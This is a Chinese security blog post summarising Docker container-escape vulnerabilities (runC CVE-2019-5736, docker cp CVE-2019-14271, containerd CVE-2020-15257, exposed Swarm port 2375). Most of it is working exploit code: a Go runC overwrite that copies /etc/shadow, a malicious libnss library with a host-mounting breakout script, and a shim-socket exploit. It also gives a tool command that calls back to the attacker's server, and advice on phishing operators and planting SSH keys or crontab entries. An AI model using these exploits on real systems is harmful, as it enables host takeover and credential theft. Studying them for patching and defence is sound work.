<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    干貨 | 常見的Docker容器漏洞總結

    VSole2022-04-18 22:10:29

    Docker-RunC漏洞致容器逃逸(CVE-2019-5736)

    利用條件

    • Docker Version < 18.09.2
    • RunC Version <1.0-rc6
    • 攻擊者具有容器文件上傳權限 & 管理員使用exec訪問容器 || 攻擊者具有啟動容器權限

    漏洞原理

    攻擊者可以將容器中的目標文件替換成指向runC的自己的文件來欺騙runC執行自己。比如目標文件是/bin/bash,將它替換成指定解釋器路徑為#!/proc/self/exe的可執行腳本,在容器中執行/bin/bash時將執行/proc/self/exe,它指向host上的runC文件。然后攻擊者可以繼續寫入/proc/self/exe試圖覆蓋host上的runC文件。但是一般來說不會成功,因為內核不允許在執行runC時覆蓋它。為了解決這個問題,攻擊者可以使用O_PATH標志打開/proc/self/exe的文件描述符,然后通過/proc/self/fd/使用O_WRONLY標志重新打開文件,并嘗試在一個循環中從一個單獨的進程寫入該文件。當runC退出時覆蓋會成功,在此之后,runC可以用來攻擊其它容器或host。

    漏洞POC

    package main
    // Implementation of CVE-2019-5736
    // Created with help from @singe, @_cablethief, and @feexd.
    // This commit also helped a ton to understand the vuln
    // https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
    import (
      "fmt"
      "io/ioutil"
      "os"
      "strconv"
      "strings"
    )
    // This is the line of shell commands that will execute on the host
    var payload = "#!/bin/bash  cat /etc/shadow > /tmp/shadow && chmod 777 /tmp/shadow"
    func main() {
      // First we overwrite /bin/sh with the /proc/self/exe interpreter path
      fd, err := os.Create("/bin/sh")
      if err != nil {
        fmt.Println(err)
        return
      }
      fmt.Fprintln(fd, "#!/proc/self/exe")
      err = fd.Close()
      if err != nil {
        fmt.Println(err)
        return
      }
      fmt.Println("[+] Overwritten /bin/sh successfully")
      // Loop through all processes to find one whose cmdline includes runcinit
      // This will be the process created by runc
      var found int
      for found == 0 {
        pids, err := ioutil.ReadDir("/proc")
        if err != nil {
          fmt.Println(err)
          return
        }
        for _, f := range pids {
          fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
          fstring := string(fbytes)
          if strings.Contains(fstring, "runc") {
            fmt.Println("[+] Found the PID:", f.Name())
            found, err = strconv.Atoi(f.Name())
            if err != nil {
              fmt.Println(err)
              return
            }
          }
        }
      }
      // We will use the pid to get a file handle for runc on the host.
      var handleFd = -1
      for handleFd == -1 {
        // Note, you do not need to use the O_PATH flag for the exploit to work.
        handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
        if int(handle.Fd()) > 0 {
          handleFd = int(handle.Fd())
        }
      }
      fmt.Println("[+] Successfully got the file handle")
      // Now that we have the file handle, lets write to the runc binary and overwrite it
      // It will maintain it's executable flag
      for {
        writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
        if int(writeHandle.Fd()) > 0 {
          fmt.Println("[+] Successfully got write handle", writeHandle)
          writeHandle.Write([]byte(payload))
          return
        }
      }
    }
    

    漏洞利用

    #攻擊者在容器內執行
    CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go #編譯POC
    chmod 777 main
    ./main #執行Payload
    

    后續可結合釣魚郵件等手法,等待運維人員去通過exec訪問容器的/bin/bash。使用如下命令:

    sudo docker exec -it  cafa20cfb0f9 /bin/sh
    
    ref:
    https://github.com/Frichetten/CVE-2019-5736-PoC
    https://www.anquanke.com/post/id/170762

    Docker-cp漏洞致容器逃逸(CVE-CVE-2019-14271)

    利用條件

    • Docker Version == 19.03 && <19.03.1

    漏洞原理

    Docker采用Golang編寫,更具體一些,存在漏洞的Docker版本采用Go v1.11編譯。在這個版本中,包含嵌入式C代碼(cgo)的某些package會在運行時動態加載共享庫。這些package包括netos/userdocker-tar都用到了這兩個package,會在運行時動態加載一些libnss_*.so庫。正常情況下,程序庫會從宿主機的文件系統中加載,然而由于docker-tarchroot到容器中,因此會從容器的文件系統中加載這些庫。這意味著docker-tar會加載并執行受容器控制的代碼。

    漏洞POC

    惡意so:libnss_files.so by C

    #include ...
    #define ORIGINAL_LIBNSS "/original_libnss_files.so.2"
    #define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"
    bool is_priviliged();
    __attribute__ ((constructor)) void run_at_link(void)
    {
         char * argv_break[2];
         if (!is_priviliged())
               return;
         rename(ORIGINAL_LIBNSS, LIBNSS_PATH);
         fprintf(log_fp, "switched back to the original libnss_file.so");
         if (!fork())
         {
               // Child runs breakout
               argv_break[0] = strdup("/breakout");
               argv_break[1] = NULL;
               execve("/breakout", argv_break, NULL);
         }
         else
               wait(NULL); // Wait for child
         return;
    }
    bool is_priviliged()
    {
         FILE * proc_file = fopen("/proc/self/exe", "r");
         if (proc_file != NULL)
         {
               fclose(proc_file);
               return false; // can open so /proc exists, not privileged
         }
         return true; // we're running in the context of docker-tar
    }
    

    breakout腳本

    #!/bin/bash
    umount /host_fs && rm -rf /host_fs
    mkdir /host_fs
    mount -t proc none /proc     # mount the host's procfs over /proc
    cd /proc/1/root              # chdir to host's root
    mount --bind . /host_fs      # mount host root at /host_fs
    echo "Hello from within the container!" > /host_fs/evil
    

    漏洞利用

    待完善,暫未復現,大致思路如下

    1.編譯libnss_files.c為libnss_files.so

    2.修改breakout腳本,例如寫ssh key 等

    3.等待或通過釣魚郵件等手段,使得運維人員執行docker cp

    ref:
    https://unit42.paloaltonetworks.com/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271/

    Docker-Containerd漏洞致容器逃逸(CVE-2020-15257)

    利用條件

    • containerd < 1.4.3
    • containerd < 1.3.9
    • 使用hostnetwork網絡模式啟動容器 && 使用root用戶(UID:0)啟動容器

    漏洞原理

    使用hostnetwork網絡模式中,容器和主機共享網絡命名空間,因此在容器內可以訪問host特定的socket文件(shim.sock)。可通過啟動一個新的容器,該容器掛在host目錄到容器的/host目錄,即可實現對host完全的讀寫。

    漏洞POC

    package main
    import (
        "context"
        "errors"
        "io/ioutil"
        "log"
        "net"
        "regexp"
        "strings"
        "github.com/containerd/ttrpc"
        "github.com/gogo/protobuf/types"
    )
    func exp(sock string) bool {
        sock = strings.Replace(sock, "@", "", -1)
        conn, err := net.Dial("unix", "\x00"+sock)
        if err != nil {
            log.Println(err)
            return false
        }
        client := ttrpc.NewClient(conn)
        shimClient := NewShimClient(client)
        ctx := context.Background()
        info, err := shimClient.ShimInfo(ctx, &types.Empty{})
        if err != nil {
            log.Println("rpc error:", err)
            return false
        }
        log.Println("shim pid:", info.ShimPid)
        return true
    }
    func getShimSockets() ([][]byte, error) {
        re, err := regexp.Compile("@/containerd-shim/.*\\.sock")
        if err != nil {
            return nil, err
        }
        data, err := ioutil.ReadFile("/proc/net/unix")
        matches := re.FindAll(data, -1)
        if matches == nil {
            return nil, errors.New("Cannot find vulnerable socket")
        }
        return matches, nil
    }
    func main() {
        matchset := make(map[string]bool)
        socks, err := getShimSockets()
        if err != nil {
            log.Fatalln(err)
        }
        for _, b := range socks {
            sockname := string(b)
            if _, ok := matchset[sockname]; ok {
                continue
            }
            log.Println("try socket:", sockname)
            matchset[sockname] = true
            if exp(sockname) {
                break
            }
        }
        return
    }
    

    漏洞利用

    1.下載容器滲透工具包

    https://github.com/cdk-team/CDK/releases/tag/v1.0.1

    2.在服務器NC監聽端口

    chmod +x cdk_linux_amd64
    ./cdk_linux_amd64 run shim-pwn <自己服務器IP> 
    
    ref:
    https://www.cdxy.me/?p=837
    https://zhuanlan.zhihu.com/p/332334413

    Docker-Swarm未授權訪問致命令執行

    利用條件

    • 使用Docker Swarm并且未對2375端口訪問加任何限制訪問措施

    漏洞原理

    在使用Docker Swarm的時候,管理的Docker 節點上會開放一個TCP端口2375,綁定在0.0.0.0上,http訪問會返回 404 page not found ,其實這是 Docker Remote API,可以執行Docker命令,比如訪問 http://host:2375/containers/json 會返回服務器當前運行的 container列表,和在Docker CLI上執行Docker ps的效果一樣,其他操作比如創建/刪除container,拉取image等操作也都可以通過API調用完成。

    漏洞POC

    docker -H tcp://x.x.x.x:2375 ps
    

    漏洞利用

    可通過掛載host目錄,之后使用crontab或者寫ssh key來利用。

    dockerdocker命令
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    此漏洞/攻擊取決于 Kubernetes 集群的配置方式。
    Docker容器入門指北
    2022-05-11 06:43:31
    Docker 是一種基于 Linux 的容器化技術,類似于輕量的虛擬機。它采用 C/S 架構,使用Go語言開發。Docker 分為 2 個版本:社區版和企業版,社區版免費,企業版是收費的
    1Docker 遷移存儲目錄默認情況系統會將 Docker 容器存放在 /var/lib/docker 目錄下[問題起因]?今天通過監控系統,發現公司其中一臺服務器的磁盤快慢,隨即上去看了下,發現?由上述原因,我們都知道,在?中存儲的都是相關于容器的存儲,所以也不能隨便的將其刪除掉。設備進行擴容來達到相同的目的。的詳細參數,請點擊查看?但是需要注意的一點就是,盡量不要用軟鏈, 因為一些?容器編排系統不支持這樣做,比如我們所熟知的?發現容器啟動不了了
    如果您希望啟動并運行一個強大的 ERP 解決方案,Jack Wallen 可以通過 Odoo 和 Docker 提供解決方案。
    七個殺手級Docker命令
    2023-12-22 15:19:58
    Docker是一個容器化平臺,通過操作系統級別的虛擬化技術,實現軟件的打包和容器化運行。借助Docker,開發人員能夠將應用程序以容器的形式進行部署,但在此之前需要構建Docker鏡像。只要熟悉相關Docker命令,開發人員就能輕松完成所有這些步驟,從而實現應用程序的容器化部署。本文將根據使用場景對 Docker 命令進行分類介紹。1 構建 Docker 鏡像構建 Docker 鏡像需要使用 Do
    首先,對Docker架構以及基本安全特性進行介紹,分析了Docker面臨的安全威脅。由于Docker擁有輕量化、高效率和易部署的特點,目前已被廣泛應用于云計算和微服務架構中。本文對Docker安全相關的研究思路、方法和工具進行比較和分析,并指出未來可能的研究方向。此外,Iptables的限制范圍有限,容器網絡仍然容易受到數據鏈路層攻擊,如ARP欺騙等。
    獨立的Docker Swarm1.2.3以上版本。舊版本的Portainer支持獨立Docker Swarm,而Portainer 1.17.0和更新版本不支持它。但是,對于一般需求,Portainer可能并不適合。此外,DockStation在Docker Hub上十分的受歡迎。未來,會重構成 Spring Cloud Alibaba 。
    你是否還在大量控制臺窗口中監控容器,還是對使用終端命令充滿熱情?而使用Docker的圖形用戶界面(GUI)工具,則可以更簡單的對容器進行管理,并提高效率。而且它們都是免費的。
    事先準備一臺linux主機,并且已安裝好docker環境。centos安裝docker環境如下:查詢可安裝版本:
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类